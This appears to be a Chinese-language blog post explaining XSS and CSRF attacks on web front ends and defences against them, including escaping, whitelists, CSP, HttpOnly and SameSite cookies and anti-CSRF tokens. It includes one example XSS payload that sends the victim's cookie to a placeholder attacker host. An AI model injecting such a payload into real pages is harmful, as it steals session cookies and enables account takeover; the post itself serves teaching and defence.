0%

前端安全

前端安全

  • CSRF:跨站请求伪造(crooss-site request forgery)
  • XSS:跨站脚本攻击(cross-site scripting)

XSS攻击

XSS即跨站脚本攻击,是一种脚本注入攻击,通过在被攻击者的浏览器中执行恶意JavaScript实现。

考虑一下在他人浏览器上可以执行Javscript的危害性:

  • JS可以访问cookie
  • JS可以通过XMLHttpRequest对象发起ajax请求
  • JS可以操作DOM对页面进行窜改

通过以上描述信息,我们可以:

  • 盗取cookie
  • 为键盘添加监听事件,盗取密码信息
  • 伪造表单到被攻击者的浏览器,诱导提交,钓鱼攻击

示例攻击情形

1
2
3
<script>
window.location='http://attacker/?cookie='+document.cookie
</script>

首先,攻击者利用漏洞网站的表单将恶意字符串插入到网站数据库,然后被攻击者请求页面,就得到具有该恶意字符串的页面,浏览器将其作为JS解析,于是执行上述代码,将cookie信息发送到攻击者的服务器。

XSS类型

  • 持久型XSS:恶意字符串来自网站数据库
  • 反射型XSS:恶意字符串来自被攻击者的请求
  • 基于DOM的XSS:漏洞位于客户端

上面的示例为持久性XSS,下面介绍反射型XSS的基本流程。

首先攻击者制作含有恶意字符串的链接发送给被攻击者,诱导被攻击者点击该链接,然后向服务器发起请求,服务器将含有这个而已字符串的页面返回给被攻击者,被其浏览器解析后,将被攻击者cookie发送给攻击者服务器。

下面是基于DOM的XSS攻击,浏览器在执行合法JS之前并不会遭受攻击。该种方法没有直接将脚本插入到页面执行,而是在执行合法JS的过程中,使用了innerHTML将恶意字符串插入到了页面上。

防止XSS

  • 可以在特定上下文对输入进行转义
  • 可以对输入进行验证,设置白名单或者黑名单,但设置白名单相对容易
  • CSP(Content security policy) ,通过设置HTTP头Content‑Security‑Policy来实现,包含一些指令,指令后面用空格分隔源表达式,来指定可用于加载的源,除了URL,还有一些关键字,列举如下,none表示不允许任何源,self允许当前服务主机源,unsafe-inline允许inline的style,script元素,以及javascript:的url,unsafe-eval允许使用JS的eval函数。
    • connect‑src
    • font‑src
    • frame‑src
    • img‑src
    • media‑src
    • object‑src
    • script‑src
    • style‑src
  • HttpOnly cookie:禁止JS读取cookie

CSRF攻击

CSRF(Cross site request forgery)跨站请求伪造,利用用户已登录的身份,在用户毫不知情的情况下,执行非法操作。

在GET请求的场景下,用户通过访问危险网站B,危险网站B自动发出GET请求到用户当前访问的网站A,get的地址完成一次转账操作。
在POST场景下,也可以通过form onload就submit的方法自动提交表单,发出POST请求。如果是在有cookie的场景下,我们一定要禁止第三方网站访问cookie,而且不要用GET提交请求,此外请求时附带验证信息如验证码,token等。

CSRF预防

  • 对cookie设置SameSite属性,该属性表明Cookie不随着跨域请求发送,但是并不是浏览器都兼容了。
  • Referer检查,HTTP的Referer头告诉服务器请求从哪个链接过来的,服务器可以拿到这个信息进行判断。
  • Anti CSRF Token:发送请求时在HTTP请求中加入一个随机token,服务端拿到token之后读取cookie中的token,进行比对。
  • 验证码

2018 年 1月 10日